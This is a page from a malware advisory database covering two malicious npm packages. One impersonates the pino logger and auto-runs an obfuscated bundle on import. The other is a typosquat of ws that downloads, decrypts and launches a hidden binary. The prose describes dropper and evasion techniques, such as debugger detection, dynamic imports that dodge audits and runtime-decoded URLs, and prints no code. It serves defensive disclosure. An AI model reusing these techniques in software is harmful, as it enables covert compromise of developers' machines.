| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (be17d22b28dc53ea46085190c1f5ff11ae16ce4b80539162d68c2ad2b224158e) chai-as-synced@7.0.9 impersonates the pino logger: it ships pino's README, LICENSE, docs/, index.d.ts and lib/ file layout (proto.js, levels.js, redaction.js, transport.js, worker.js, tools.js, multistream.js) with pino's keywords (`fast`,`logger`,`stream`,`json`), while package.json declares an unrelated name and author (Robert King <hello@jsonspack.com>, bugs URL https://jsonspack.com/issues) and a boilerplate description unrelated to logging. index.js unconditionally executes `require('./lib/config')` at module top level. lib/config.js is not pino's config module; it is a ~4MB single-line obfuscator.io bundle (rotated string array of ~23,868 entries, hex-escaped identifiers, control-flow flattening, nested decoder functions) that auto-runs the moment any consumer imports the package. The package also declares `axios ^1.10.0` as a runtime dependency although the visible wrapper (a no-op express middleware) has no HTTP use, positioning the hidden payload to perform network I/O at import. The combination of deceptive identity, hidden obfuscated payload, import-time auto-execution, and a bundled HTTP client is a covert-code-execution shape inconsistent with any legitimate logging library. ## Source: ghsa-malware (40194d8b76beed1c302e92600d56ab077089dc5db4790851e20326587ebc7f3d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (79b9ab7431b1a6a1250c089e2ea33f54ad92313f587fbd2aabc020c12be55f69) Package `@dervix/ws` impersonates the popular `ws` WebSocket library — `package.json` copies the legitimate ws project's homepage (`https://github.com/websockets/ws`), repository, and author metadata while publishing under an unrelated scope. `lib/websocket.js` appends ~130KB of heavily obfuscated code after the genuine `socketOnError` function; this payload executes at `require()` time via `index.js`. On import the payload (1) re-spawns the current Node process detached with `stdio:'ignore'` and `windowsHide:true`, gated by an obfuscated marker env var so the parent returns cleanly while a daemonized child continues; (2) constructs an AES-256 key by XOR-combining four hardcoded hex Buffers; (3) issues an HTTPS GET (following 3xx redirects) to an encrypted-in-source URL, streams the response to a file under `os.tmpdir()`, and decrypts it via `createDecipheriv`; (4) `fs.chmodSync(path, 0o755)` and `child_process.spawn(path,...)` with `detached:true` then `unref()`s it. Dynamic `import('child_process')` / `import('path')` is used to defeat static `require` audits, and an `inspector.url()` check short-circuits execution when a debugger is attached. There is no signature verification, no version pinning, and the destination URL is RC4-decoded at runtime so it cannot be inspected statically. Combined with the cloned ws metadata, this is a deliberate typosquat dropper that lands and executes attacker-controlled binary code on any machine that installs and imports the package. ## Source: ghsa-malware (b0c3046401ca7c230339c585db9d1e925c670b5739209048b6d29f88b14ddc01) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database |
Page 25 of 33